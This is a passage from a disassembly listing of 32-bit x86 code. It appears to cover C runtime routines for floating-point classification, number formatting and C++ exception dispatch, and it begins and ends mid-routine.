ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421E88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421EB1 proc near ; CODE XREF: sub_41CE49+31p ; sub_41CF8F+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421EC8 cmp [ebp+arg_0], edx jnz short loc_421EDA push 1 jmp short loc_421F04 ; --------------------------------------------------------------------------- loc_421EC8: ; CODE XREF: sub_421EB1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421EDA cmp [ebp+arg_0], edx jnz short loc_421EDA push 2 jmp short loc_421F04 ; --------------------------------------------------------------------------- loc_421EDA: ; CODE XREF: sub_421EB1+11j ; sub_421EB1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421EED push 3 jmp short loc_421F04 ; --------------------------------------------------------------------------- loc_421EED: ; CODE XREF: sub_421EB1+36j cmp cx, 7FF0h jnz short loc_421F07 test [ebp+arg_4], 7FFFFh jnz short loc_421F02 cmp [ebp+arg_0], edx jz short loc_421F07 loc_421F02: ; CODE XREF: sub_421EB1+4Aj push 4 loc_421F04: ; CODE XREF: sub_421EB1+15j ; sub_421EB1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421F07: ; CODE XREF: sub_421EB1+41j ; sub_421EB1+4Fj xor eax, eax pop ebp retn sub_421EB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F0B(double,int) sub_421F0B proc near ; CODE XREF: sub_421B5F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_428888 push esi fnstsw ax sahf jnz short loc_421F2B fldz xor esi, esi fstp [ebp+var_8] jmp loc_421FC1 ; --------------------------------------------------------------------------- loc_421F2B: ; CODE XREF: sub_421F0B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_421F9A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421F43 cmp dword ptr [ebp+arg_0], ecx jz short loc_421F9A loc_421F43: ; CODE XREF: sub_421F0B+31j fld [ebp+arg_0] fcomp dbl_428888 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421F5B push 1 pop eax jmp short loc_421F5D ; --------------------------------------------------------------------------- loc_421F5B: ; CODE XREF: sub_421F0B+49j xor eax, eax loc_421F5D: ; CODE XREF: sub_421F0B+4Ej ; sub_421F0B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421F76 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421F70 or dword ptr [ebp+arg_0+4], 1 loc_421F70: ; CODE XREF: sub_421F0B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421F5D ; --------------------------------------------------------------------------- loc_421F76: ; CODE XREF: sub_421F0B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421F84 or byte ptr [ebp+arg_0+7], 80h loc_421F84: ; CODE XREF: sub_421F0B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421E88 fstp [ebp+var_8] add esp, 0Ch jmp short loc_421FC1 ; --------------------------------------------------------------------------- loc_421F9A: ; CODE XREF: sub_421F0B+28j ; sub_421F0B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421E88 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_421FC1: ; CODE XREF: sub_421F0B+1Bj ; sub_421F0B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421F0B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FCC proc near ; CODE XREF: sub_4218AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_421FCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FDA proc near ; CODE XREF: sub_4218AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_421FDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421FE9 proc near ; CODE XREF: sub_41CE49+13p ; sub_41CE49+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_421FE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42200C proc near ; CODE XREF: sub_421B5F+1Dp ; sub_421B5F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_422023 fld tbyte_43F578 fistp [ebp+arg_0] wait loc_422023: ; CODE XREF: sub_42200C+Bj test cl, 8 jz short loc_422038 fstsw ax fld tbyte_43F578 fstp [ebp+var_8] wait fstsw ax loc_422038: ; CODE XREF: sub_42200C+1Aj test cl, 10h jz short loc_422047 fld tbyte_43F584 fstp [ebp+var_8] wait loc_422047: ; CODE XREF: sub_42200C+2Fj test cl, 4 jz short loc_422055 fldz fld1 fdivrp st(1), st fstp st wait loc_422055: ; CODE XREF: sub_42200C+3Ej test cl, 20h jz short locret_422060 fldpi fstp [ebp+var_8] wait locret_422060: ; CODE XREF: sub_42200C+4Cj leave retn sub_42200C endp ; =============== S U B R O U T I N E ======================================= sub_422062 proc near ; CODE XREF: sub_41CF18+Fp push 30000h push 10000h call sub_424885 pop ecx pop ecx retn sub_422062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422074 proc near ; CODE XREF: sub_4220B2:loc_4220D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_428898 fstp [ebp+var_8] fld dbl_428890 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_428718 fnstsw ax sahf jbe short loc_4220AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4220AE: ; CODE XREF: sub_422074+33j xor eax, eax leave retn sub_422074 endp ; =============== S U B R O U T I N E ======================================= sub_4220B2 proc near ; CODE XREF: sub_41CF18+5p push offset aKernel32 ; "KERNEL32" call dword_42809C ; GetModuleHandleA test eax, eax jz short loc_4220D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_4280BC ; GetProcAddress test eax, eax jz short loc_4220D6 push 0 call eax ; sub_41CF18 retn ; --------------------------------------------------------------------------- loc_4220D6: ; CODE XREF: sub_4220B2+Dj ; sub_4220B2+1Dj jmp sub_422074 sub_4220B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4220DB proc near ; CODE XREF: sub_41FE9F+3CBp ; DATA XREF: sub_41CF30+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DF4C cmp eax, 65h pop ecx jz short loc_42211B loc_4220EF: ; CODE XREF: sub_4220DB+3Ej inc esi cmp dword_43F1F4, 1 jle short loc_422108 movsx eax, byte ptr [esi] push 4 push eax call sub_41FD15 pop ecx pop ecx jmp short loc_422117 ; --------------------------------------------------------------------------- loc_422108: ; CODE XREF: sub_4220DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43EFE8 mov al, [ecx+eax*2] and eax, 4 loc_422117: ; CODE XREF: sub_4220DB+2Bj test eax, eax jnz short loc_4220EF loc_42211B: ; CODE XREF: sub_4220DB+12j mov cl, byte_43F1F8 mov al, [esi] mov [esi], cl inc esi loc_422126: ; CODE XREF: sub_4220DB+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_422126 pop esi retn sub_4220DB endp ; =============== S U B R O U T I N E ======================================= sub_422135 proc near ; CODE XREF: sub_41FE9F+3E2p ; DATA XREF: sub_41CF30+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43F1F8 mov cl, [eax] test cl, cl jz short loc_422151 loc_422145: ; CODE XREF: sub_422135+1Aj cmp cl, dl jz short loc_422151 mov cl, [eax+1] inc eax test cl, cl jnz short loc_422145 loc_422151: ; CODE XREF: sub_422135+Ej ; sub_422135+12j mov cl, [eax] inc eax test cl, cl jz short locret_422182 loc_422158: ; CODE XREF: sub_422135+34j mov cl, [eax] test cl, cl jz short loc_42216B cmp cl, 65h jz short loc_42216B cmp cl, 45h jz short loc_42216B inc eax jmp short loc_422158 ; --------------------------------------------------------------------------- loc_42216B: ; CODE XREF: sub_422135+27j ; sub_422135+2Cj ... mov ecx, eax loc_42216D: ; CODE XREF: sub_422135+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42216D cmp [eax], dl jnz short loc_422178 dec eax loc_422178: ; CODE XREF: sub_422135+40j ; sub_422135+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422178 locret_422182: ; CODE XREF: sub_422135+21j retn sub_422135 endp ; =============== S U B R O U T I N E ======================================= sub_422183 proc near ; DATA XREF: sub_41CF30+28o ; .packed:off_43F5A0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_428888 fnstsw ax sahf jb short loc_422198 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422198: ; CODE XREF: sub_422183+Fj xor eax, eax retn sub_422183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42219B proc near ; CODE XREF: sub_420D10+430p ; DATA XREF: sub_41CF30+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_4221C4 lea eax, [ebp+var_8] push eax call sub_424D48 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_4221C4: ; CODE XREF: sub_42219B+Cj lea eax, [ebp+arg_8] push eax call sub_424D75 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42219B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221D9 proc near ; CODE XREF: sub_422456+17p ; sub_4224A0+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DE0C8, 0 push ebx push esi jz short loc_42220E mov ebx, [ebp+arg_8] mov eax, dword_4DE0C4 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_4224F1 pop ecx pop ecx jmp short loc_422246 ; --------------------------------------------------------------------------- loc_42220E: ; CODE XREF: sub_4221D9+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424E19 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424DA2 add esp, 14h loc_422246: ; CODE XREF: sub_4221D9+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_422252 mov byte ptr [eax], 2Dh inc eax loc_422252: ; CODE XREF: sub_4221D9+73j test ebx, ebx jle short loc_42226A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43F1F8 mov eax, edi pop edi mov [eax], cl loc_42226A: ; CODE XREF: sub_4221D9+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DE0C8, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C680 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422291 mov byte ptr [ecx], 45h loc_422291: ; CODE XREF: sub_4221D9+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_4222D6 mov ebx, [esi+4] dec ebx jns short loc_4222A5 neg ebx mov byte ptr [ecx], 2Dh loc_4222A5: ; CODE XREF: sub_4221D9+C5j inc ecx cmp ebx, 64h jl short loc_4222BC mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4222BC: ; CODE XREF: sub_4221D9+D0j inc ecx cmp ebx, 0Ah jl short loc_4222D3 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_4222D3: ; CODE XREF: sub_4221D9+E7j add [ecx+1], bl loc_4222D6: ; CODE XREF: sub_4221D9+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_4221D9 endp ; =============== S U B R O U T I N E ======================================= sub_4222DD proc near ; CODE XREF: sub_42247D+13p ; sub_4224A0+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DE0C8, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_422318 mov eax, dword_4DE0CC mov ebx, [esp+10h+arg_8] mov esi, dword_4DE0C4 cmp eax, ebx jnz short loc_422348 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_422348 ; --------------------------------------------------------------------------- loc_422318: ; CODE XREF: sub_4222DD+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424E19 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424DA2 add esp, 14h loc_422348: ; CODE XREF: sub_4222DD+22j ; sub_4222DD+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_422356 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_422356: ; CODE XREF: sub_4222DD+70j mov eax, [esi+4] test eax, eax jg short loc_42236D push 1 push edi call sub_4224F1 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42236F ; --------------------------------------------------------------------------- loc_42236D: ; CODE XREF: sub_4222DD+7Ej add edi, eax loc_42236F: ; CODE XREF: sub_4222DD+8Ej test ebx, ebx jle short loc_4223B4 push 1 push edi call sub_4224F1 mov al, byte_43F1F8 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_4223B4 cmp byte_4DE0C8, 0 jz short loc_422399 neg esi jmp short loc_42239F ; --------------------------------------------------------------------------- loc_422399: ; CODE XREF: sub_4222DD+B6j neg esi cmp ebx, esi jl short loc_4223A1 loc_42239F: ; CODE XREF: sub_4222DD+BAj mov ebx, esi loc_4223A1: ; CODE XREF: sub_4222DD+C0j push ebx push edi call sub_4224F1 push ebx push 30h push edi call sub_41BD60 add esp, 14h loc_4223B4: ; CODE XREF: sub_4222DD+94j ; sub_4222DD+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4222DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4223BB proc near ; CODE XREF: sub_4224A0+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424E19 mov dword_4DE0C4, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DE0CC, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424DA2 mov eax, dword_4DE0C4 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DE0CC, ecx setl cl mov byte_4DE0D0, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DE0CC, eax jl short loc_422441 cmp eax, ebx jge short loc_422441 test cl, cl jz short loc_422432 loc_422428: ; CODE XREF: sub_4223BB+72j mov al, [esi] inc esi test al, al jnz short loc_422428 and [esi-2], al loc_422432: ; CODE XREF: sub_4223BB+6Bj push ebx push [ebp+arg_4] push edi call sub_42247D add esp, 0Ch jmp short loc_422451 ; --------------------------------------------------------------------------- loc_422441: ; CODE XREF: sub_4223BB+63j ; sub_4223BB+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_422456 add esp, 10h loc_422451: ; CODE XREF: sub_4223BB+84j pop edi pop esi pop ebx pop ebp retn sub_4223BB endp ; =============== S U B R O U T I N E ======================================= sub_422456 proc near ; CODE XREF: sub_4223BB+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DE0C8, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4221D9 and byte_4DE0C8, 0 add esp, 10h retn sub_422456 endp ; =============== S U B R O U T I N E ======================================= sub_42247D proc near ; CODE XREF: sub_4223BB+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DE0C8, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4222DD and byte_4DE0C8, 0 add esp, 0Ch retn sub_42247D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4224A0 proc near ; CODE XREF: sub_41FE9F+3AAp ; DATA XREF: sub_41CF30o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_4224DB cmp [ebp+arg_8], 45h jz short loc_4224DB cmp [ebp+arg_8], 66h jnz short loc_4224C8 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4222DD add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_4224C8: ; CODE XREF: sub_4224A0+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4223BB jmp short loc_4224EC ; --------------------------------------------------------------------------- loc_4224DB: ; CODE XREF: sub_4224A0+7j ; sub_4224A0+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_4221D9 loc_4224EC: ; CODE XREF: sub_4224A0+39j add esp, 10h pop ebp retn sub_4224A0 endp ; =============== S U B R O U T I N E ======================================= sub_4224F1 proc near ; CODE XREF: sub_4221D9+2Cp ; sub_4222DD+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_422514 push esi mov esi, [esp+8+arg_0] push esi call sub_41B7B0 inc eax push eax push esi add esi, edi push esi call sub_41D460 add esp, 10h pop esi loc_422514: ; CODE XREF: sub_4224F1+7j pop edi retn sub_4224F1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422516 proc near ; CODE XREF: .packed:0041D110p ; sub_41D179+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_42252C call sub_422DB2 loc_42252C: ; CODE XREF: sub_422516+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_422554 cmp dword ptr [esi+4], 0 jz short loc_4225AA cmp [ebp+arg_14], 0 jnz short loc_4225AA push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_42285D add esp, 10h jmp short loc_4225AA ; --------------------------------------------------------------------------- loc_422554: ; CODE XREF: sub_422516+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_4225AA cmp dword ptr [eax], 0E06D7363h jnz short loc_42258E cmp [eax+14h], edi jbe short loc_42258E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42258E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_4225AD ; --------------------------------------------------------------------------- loc_42258E: ; CODE XREF: sub_422516+4Aj ; sub_422516+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_4225B1 add esp, 20h loc_4225AA: ; CODE XREF: sub_422516+23j ; sub_422516+29j ... push 1 pop eax loc_4225AD: ; CODE XREF: sub_422516+76j pop edi pop esi pop ebp retn sub_422516 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B1 proc near ; CODE XREF: sub_422516+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_4225D1 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_4225D6 loc_4225D1: ; CODE XREF: sub_4225B1+16j call sub_422DB2 loc_4225D6: ; CODE XREF: sub_4225B1+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_42272D cmp dword ptr [esi+10h], 3 jnz short loc_42264A cmp [esi+14h], edi jnz short loc_42264A cmp dword ptr [esi+1Ch], 0 jnz short loc_42264A mov esi, dword_4DE0D4 test esi, esi jz loc_422728 mov eax, dword_4DE0D8 push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424FA0 pop ecx test eax, eax pop ecx jnz short loc_42262C call sub_422DB2 loc_42262C: ; CODE XREF: sub_4225B1+74j cmp [esi], ebx jnz loc_42272D cmp dword ptr [esi+10h], 3 jnz short loc_42264A cmp [esi+14h], edi jnz short loc_42264A cmp dword ptr [esi+1Ch], 0 jnz short loc_42264A call sub_422DB2 loc_42264A: ; CODE XREF: sub_4225B1+41j ; sub_4225B1+46j ... cmp [esi], ebx jnz loc_42272D cmp dword ptr [esi+10h], 3 jnz loc_42272D cmp [esi+14h], edi jnz loc_42272D mov edi, [ebp+var_10] lea eax, [ebp+var_18] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D2C7 add esp, 14h mov ebx, eax loc_422681: ; CODE XREF: sub_4225B1+162j mov eax, [ebp+var_4] cmp eax, [ebp+var_18] jnb loc_422718 cmp [ebx], edi jg short loc_42270D cmp edi, [ebx+4] jg short loc_42270D mov eax, [ebx+10h] mov [ebp+arg_0], eax mov eax, [ebx+0Ch] test eax, eax mov [ebp+var_C], eax jle short loc_42270A loc_4226A6: ; CODE XREF: sub_4225B1+131j mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea edi, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_8], eax jle short loc_4226D7 loc_4226B8: ; CODE XREF: sub_4225B1+124j push dword ptr [esi+1Ch] push dword ptr [edi] push [ebp+arg_0] call sub_422800 add esp, 0Ch test eax, eax jnz short loc_4226E6 dec [ebp+var_8] add edi, 4 cmp [ebp+var_8], eax jg short loc_4226B8 loc_4226D7: ; CODE XREF: sub_4225B1+105j dec [ebp+var_C] add [ebp+arg_0], 10h cmp [ebp+var_C], 0 jg short loc_4226A6 jmp short loc_42270A ; --------------------------------------------------------------------------- loc_4226E6: ; CODE XREF: sub_4225B1+119j push [ebp+var_14] push [ebp+arg_1C] push [ebp+arg_18] push ebx push dword ptr [edi] push [ebp+arg_0] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422911 add esp, 2Ch loc_42270A: ; CODE XREF: sub_4225B1+F3j ; sub_4225B1+133j mov edi, [ebp+var_10] loc_42270D: ; CODE XREF: sub_4225B1+DEj ; sub_4225B1+E3j inc [ebp+var_4] add ebx, 14h jmp loc_422681 ; --------------------------------------------------------------------------- loc_422718: ; CODE XREF: sub_4225B1+D6j cmp [ebp+arg_14], 0 jz short loc_422728 push 1 push esi call sub_422C86 pop ecx pop ecx loc_422728: ; CODE XREF: sub_4225B1+56j ; sub_4225B1+16Bj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42272D: ; CODE XREF: sub_4225B1+37j ; sub_4225B1+7Dj ... cmp [ebp+arg_14], 0 jnz short loc_422753 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_10] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_422758 add esp, 20h jmp short loc_422728 ; --------------------------------------------------------------------------- loc_422753: ; CODE XREF: sub_4225B1+180j jmp sub_422D5C sub_4225B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422758 proc near ; CODE XREF: sub_4225B1+198p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ecx push ecx cmp dword_4DE0DC, 0 push esi push edi jz short loc_422789 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41D19E add esp, 1Ch test eax, eax jnz short loc_4227FC loc_422789: ; CODE XREF: sub_422758+Ej mov edi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_41D2C7 add esp, 14h mov esi, eax loc_4227A5: ; CODE XREF: sub_422758+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_4227FC cmp edi, [esi] jl short loc_4227F4 cmp edi, [esi+4] jg short loc_4227F4 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4227CE cmp byte ptr [ecx+8], 0 jnz short loc_4227F4 loc_4227CE: ; CODE XREF: sub_422758+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422911 add esp, 2Ch loc_4227F4: ; CODE XREF: sub_422758+57j ; sub_422758+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_4227A5 ; --------------------------------------------------------------------------- loc_4227FC: ; CODE XREF: sub_422758+2Fj ; sub_422758+53j pop edi pop esi leave retn sub_422758 endp ; =============== S U B R O U T I N E ======================================= sub_422800 proc near ; CODE XREF: sub_4225B1+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_422857 cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_422857 mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_422831 add ecx, 8 push ecx push edx call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_422853 loc_422831: ; CODE XREF: sub_422800+1Fj test byte ptr [esi], 2 jz short loc_42283B test byte ptr [edi], 8 jz short loc_422853 loc_42283B: ; CODE XREF: sub_422800+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_42284A test byte ptr [edi], 1 jz short loc_422853 loc_42284A: ; CODE XREF: sub_422800+43j test al, 2 jz short loc_422857 test byte ptr [edi], 2 jnz short loc_422857 loc_422853: ; CODE XREF: sub_422800+2Fj ; sub_422800+39j ... xor 